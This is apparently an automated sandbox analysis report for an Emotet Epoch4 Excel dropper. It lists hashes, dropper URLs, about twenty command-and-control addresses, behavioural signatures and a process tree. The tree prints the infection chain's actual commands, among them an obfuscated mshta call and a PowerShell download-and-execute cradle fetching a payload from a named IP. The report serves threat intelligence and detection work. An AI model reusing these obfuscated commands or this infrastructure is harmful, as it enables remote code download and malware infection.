emotet | e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

General

Target

22024c28d98a0aa62558650d4be96202.xls
Size

128KB
MD5

22024c28d98a0aa62558650d4be96202
SHA1

2b145417423113d71bf9c988de67ebc2ded75471
SHA256

e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08
SHA512

6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2808	544	cmd.exe	49

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1692 created 1336	1692	WerFault.exe	58

Blocklisted process makes network request 5 IoCs

flow	pid	Process
19	1336	mshta.exe
31	1512	powershell.exe
34	1512	powershell.exe
38	1512	powershell.exe
40	1688	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1756	rundll32.exe
2932	rundll32.exe
1888	rundll32.exe
1688	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Httneqqg\kwqfauvq.gbt	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1916	1336	WerFault.exe	58

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
544	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1512	powershell.exe
1916	WerFault.exe
1916	WerFault.exe
1512	powershell.exe
1688	rundll32.exe
1688	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE
544	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 544 wrote to memory of 2808	544	EXCEL.EXE	56
PID 544 wrote to memory of 2808	544	EXCEL.EXE	56
PID 2808 wrote to memory of 1336	2808	cmd.exe	58
PID 2808 wrote to memory of 1336	2808	cmd.exe	58
PID 1336 wrote to memory of 1512	1336	mshta.exe	61
PID 1336 wrote to memory of 1512	1336	mshta.exe	61
PID 1692 wrote to memory of 1336	1692	WerFault.exe	58
PID 1692 wrote to memory of 1336	1692	WerFault.exe	58
PID 1512 wrote to memory of 460	1512	powershell.exe	66
PID 1512 wrote to memory of 460	1512	powershell.exe	66
PID 460 wrote to memory of 1756	460	cmd.exe	67
PID 460 wrote to memory of 1756	460	cmd.exe	67
PID 460 wrote to memory of 1756	460	cmd.exe	67
PID 1756 wrote to memory of 2932	1756	rundll32.exe	69
PID 1756 wrote to memory of 2932	1756	rundll32.exe	69
PID 1756 wrote to memory of 2932	1756	rundll32.exe	69
PID 2932 wrote to memory of 1888	2932	rundll32.exe	70
PID 2932 wrote to memory of 1888	2932	rundll32.exe	70
PID 2932 wrote to memory of 1888	2932	rundll32.exe	70
PID 1888 wrote to memory of 1688	1888	rundll32.exe	71
PID 1888 wrote to memory of 1688	1888	rundll32.exe	71
PID 1888 wrote to memory of 1688	1888	rundll32.exe	71

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\22024c28d98a0aa62558650d4be96202.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:544
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1512
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:460
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2932
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Httneqqg\kwqfauvq.gbt",TSmZDjvNp
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1888
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Httneqqg\kwqfauvq.gbt",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:1688
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1336 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:1916

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 428 -p 1336 -ip 1336
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/544-134-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-138-0x00007FFFB9E10000-0x00007FFFB9E20000-memory.dmp

Filesize
64KB

Download
memory/544-234-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-233-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-130-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-232-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-231-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-137-0x00007FFFB9E10000-0x00007FFFB9E20000-memory.dmp

Filesize
64KB

Download
memory/544-133-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-132-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/544-131-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

Filesize
64KB

Download
memory/1512-170-0x0000013E3BFF0000-0x0000013E54100000-memory.dmp

Filesize
385.1MB

Download
memory/1512-191-0x0000013E54670000-0x0000013E546E6000-memory.dmp

Filesize
472KB

Download
memory/1512-167-0x0000013E54100000-0x0000013E54122000-memory.dmp

Filesize
136KB

Download
memory/1512-169-0x0000013E3BFF0000-0x0000013E54100000-memory.dmp

Filesize
385.1MB

Download
memory/1512-172-0x0000013E3BFF0000-0x0000013E54100000-memory.dmp

Filesize
385.1MB

Download
memory/1512-173-0x0000013E54620000-0x0000013E54664000-memory.dmp

Filesize
272KB

Download
memory/1688-216-0x00000000045E0000-0x0000000004606000-memory.dmp

Filesize
152KB

Download
memory/1688-239-0x0000000004F60000-0x0000000004F86000-memory.dmp

Filesize
152KB

Download
memory/1688-245-0x0000000005270000-0x0000000005296000-memory.dmp

Filesize
152KB

Download
memory/1688-243-0x0000000005190000-0x00000000051B6000-memory.dmp

Filesize
152KB

Download
memory/1688-223-0x00000000046D0000-0x00000000046F6000-memory.dmp

Filesize
152KB

Download
memory/1688-241-0x0000000005060000-0x0000000005086000-memory.dmp

Filesize
152KB

Download
memory/1688-237-0x0000000004E80000-0x0000000004EA6000-memory.dmp

Filesize
152KB

Download
memory/1756-186-0x0000000004D40000-0x0000000004D66000-memory.dmp

Filesize
152KB

Download
memory/1888-203-0x00000000040D0000-0x00000000040F6000-memory.dmp

Filesize
152KB

Download
memory/2932-196-0x00000000052E0000-0x0000000005306000-memory.dmp

Filesize
152KB

Download
memory/2932-192-0x0000000004BC0000-0x0000000004BE6000-memory.dmp

Filesize
152KB

Download
memory/2932-198-0x0000000005340000-0x0000000005366000-memory.dmp

Filesize
152KB

Download
memory/2932-202-0x00000000055A0000-0x00000000055C6000-memory.dmp

Filesize
152KB

Download
memory/2932-189-0x0000000004A30000-0x0000000004A56000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads